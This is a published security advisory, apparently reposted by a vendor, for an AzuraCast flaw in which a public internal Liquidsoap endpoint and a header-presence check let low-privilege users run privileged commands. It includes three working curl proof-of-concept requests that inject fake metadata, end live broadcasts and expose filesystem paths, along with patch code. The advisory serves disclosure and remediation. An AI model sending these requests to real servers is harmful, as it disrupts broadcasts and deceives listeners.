GHSA-4fm3-ggg2-c6qx is a medium-severity (CVSS 6.3) vulnerability in azuracast/azuracast. A fix is available for azuracast/azuracast — see the affected versions and patch details below.
AzuraCast's Missing RequireInternalConnection on Liquidsoap API Allows Low-Privilege Metadata Injection and Broadcast Disruption
Real-World Exposure
azuracast/azuracastReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The /api/internal/{station_id}/liquidsoap/{action} endpoint is accessible from the public web interface because it lacks the RequireInternalConnection middleware that protects other internal endpoints (/sftp-auth, /sftp-event). Combined with a logic flaw where the $asAutoDj flag is set based on the presence of the X-Liquidsoap-Api-Key header rather than its validated value, any user with the basic View station permission can invoke privileged Liquidsoap commands — injecting arbitrary now-playing metadata visible to all listeners, disrupting live broadcast tracking, and disclosing absolute filesystem paths.
Details
Issue 1: Missing RequireInternalConnection middleware
In backend/config/routes/api_internal.php, the liquidsoap route group (lines 17-21) lacks the RequireInternalConnection middleware:
// Lines 17-21 — NO RequireInternalConnection
$group->map(
['GET', 'POST'],
'/liquidsoap/{action}',
Controller\Api\Internal\LiquidsoapAction::class
)->setName('api:internal:liquidsoap');
Compare with sftp endpoints that correctly apply it:
// Lines 32-34 — HAS RequireInternalConnection
$group->post('/sftp-auth', Controller\Api\Internal\SftpAuthAction::class)
->setName('api:internal:sftp-auth')
->add(Middleware\RequireInternalConnection::class);
The nginx config (util/docker/web/nginx/azuracast.conf.tmpl) only sets the IS_INTERNAL FastCGI parameter on the internal port 6010 listener (line 44), not on the public-facing server block (ports 80/443). Without the middleware, the endpoint is fully accessible from the public internet.
Issue 2: $asAutoDj derived from header presence, not validated value
In backend/src/Controller/Api/Internal/LiquidsoapAction.php:
// Line 34 — checks header PRESENCE, not value
$asAutoDj = $request->hasHeader('X-Liquidsoap-Api-Key');
// Lines 38-44 — key value only checked when ACL FAILS
$acl = $request->getAcl();
if (!$acl->isAllowed(StationPermissions::View, $station->id)) {
$authKey = $request->getHeaderLine('X-Liquidsoap-Api-Key');
if (!$station->validateAdapterApiKey($authKey)) {
throw new RuntimeException('Invalid API key.');
}
}
When a user authenticates via session/API key and has StationPermissions::View, the ACL check passes and the adapter API key is never validated. But $asAutoDj is already true from line 34 because the header is present (with any arbitrary value).
Affected commands:
FeedbackCommand(backend/src/Radio/Backend/Liquidsoap/Command/FeedbackCommand.php:36): Guardif (!$asAutoDj) return false;bypassed — creates SongHistory records and forces NowPlaying cache updatesDjOffCommand(backend/src/Radio/Backend/Liquidsoap/Command/DjOffCommand.php:24): Guard bypassed — calls$this->streamerRepo->onDisconnect($station)which ends all active broadcasts and sets$station->is_streamer_live = falseDjOnCommand(backend/src/Radio/Backend/Liquidsoap/Command/DjOnCommand.php:31): Guard bypassed — calls$this->streamerRepo->onConnect($station, $user)with attacker-controlled usernameCopyCommand(backend/src/Radio/Backend/Liquidsoap/Command/CopyCommand.php:18): No$asAutoDjguard at all — returns absolute filesystem paths via$mediaFs->getLocalPath($uri)
PoC
Prerequisites: A user account with StationPermissions::View on station ID 1 (the lowest station-level permission). Obtain a session cookie or API key for this user.
1. Inject arbitrary now-playing metadata (FeedbackCommand):
curl -X POST 'https://target/api/internal/1/liquidsoap/feedback' \
-H 'X-API-Key: <view-user-api-key>' \
-H 'X-Liquidsoap-Api-Key: anything' \
-H 'Content-Type: application/json' \
-d '{"artist": "INJECTED", "title": "Fake Song Title"}'
Expected: Should reject — user does not have the adapter API key.
Actual: Returns true. The injected artist/title appears in /api/nowplaying/1 for all listeners.
2. Disrupt live broadcast (DjOffCommand):
curl -X POST 'https://target/api/internal/1/liquidsoap/djoff' \
-H 'X-API-Key: <view-user-api-key>' \
-H 'X-Liquidsoap-Api-Key: anything'
Expected: Should reject.
Actual: Returns true. All active broadcast records for the station are terminated (timestampEnd set), is_streamer_live set to false, and current_streamer cleared.
3. Disclose filesystem paths (CopyCommand):
curl -X POST 'https://target/api/internal/1/liquidsoap/cp' \
-H 'X-API-Key: <view-user-api-key>' \
-H 'Content-Type: application/json' \
-d '{"uri": "test.mp3"}'
Expected: Should reject — this is an internal-only endpoint.
Actual: Returns {"uri":"/var/azuracast/stations/1/media/test.mp3","isTemp":false} — disclosing the absolute filesystem path of the station's media storage.
Impact
Any user with the basic StationPermissions::View permission (the lowest station-level role, commonly assigned to DJs and collaborators) can:
-
Inject arbitrary now-playing metadata visible to all listeners via the public NowPlaying API and any connected players/widgets. This poisons the song history database and triggers cache updates that propagate the false data to all consumers.
-
Disrupt live broadcasts by terminating all active broadcast records and marking the station as having no live streamer, even when a DJ is actively broadcasting. This affects broadcast recording and live-DJ tracking.
-
Fake DJ connections with arbitrary usernames via the
djoncommand, polluting streamer logs and potentially interfering with DJ scheduling. -
Disclose absolute filesystem paths of the station's media storage directory via the
cpcommand (no$asAutoDjguard required), which aids further attacks against the server.
Recommended Fix
Fix 1: Add RequireInternalConnection middleware to the liquidsoap route group.
In backend/config/routes/api_internal.php, add the middleware to the station group:
$group->group(
'/{station_id}',
function (RouteCollectorProxy $group) {
$group->map(
['GET', 'POST'],
'/liquidsoap/{action}',
Controller\Api\Internal\LiquidsoapAction::class
)->setName('api:internal:liquidsoap')
+ ->add(Middleware\RequireInternalConnection::class);
// Icecast internal auth functions
$group->map(
['GET', 'POST'],
'/listener-auth[/{api_auth}]',
Controller\Api\Internal\ListenerAuthAction::class
)->setName('api:internal:listener-auth');
}
)->add(Middleware\GetStation::class);
Fix 2: Validate the API key value before setting $asAutoDj.
In backend/src/Controller/Api/Internal/LiquidsoapAction.php, move $asAutoDj assignment after key validation:
- $asAutoDj = $request->hasHeader('X-Liquidsoap-Api-Key');
+ $asAutoDj = false;
try {
$acl = $request->getAcl();
if (!$acl->isAllowed(StationPermissions::View, $station->id)) {
$authKey = $request->getHeaderLine('X-Liquidsoap-Api-Key');
if (!$station->validateAdapterApiKey($authKey)) {
throw new RuntimeException('Invalid API key.');
}
+ $asAutoDj = true;
+ } else {
+ // Even ACL-authenticated users must provide valid adapter key for AutoDJ operations
+ $authKey = $request->getHeaderLine('X-Liquidsoap-Api-Key');
+ $asAutoDj = !empty($authKey) && $station->validateAdapterApiKey($authKey);
}
Both fixes should be applied. Fix 1 is the primary defense (defense in depth — this endpoint should never be publicly accessible). Fix 2 corrects the logic flaw so that $asAutoDj is only true when the adapter API key is actually valid, regardless of how authentication was performed.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | azuracast/azuracast | all versions | 0.23.6composer require azuracast/azuracast:^0.23.6 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for azuracast/azuracast, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update azuracast/azuracast to 0.23.6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-4fm3-ggg2-c6qx is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-4fm3-ggg2-c6qx can be triaged on real exposure rather than presence alone.
Tailored to GHSA-4fm3-ggg2-c6qx. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-4fm3-ggg2-c6qx in your dependencies?
O3 Security finds GHSA-4fm3-ggg2-c6qx across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.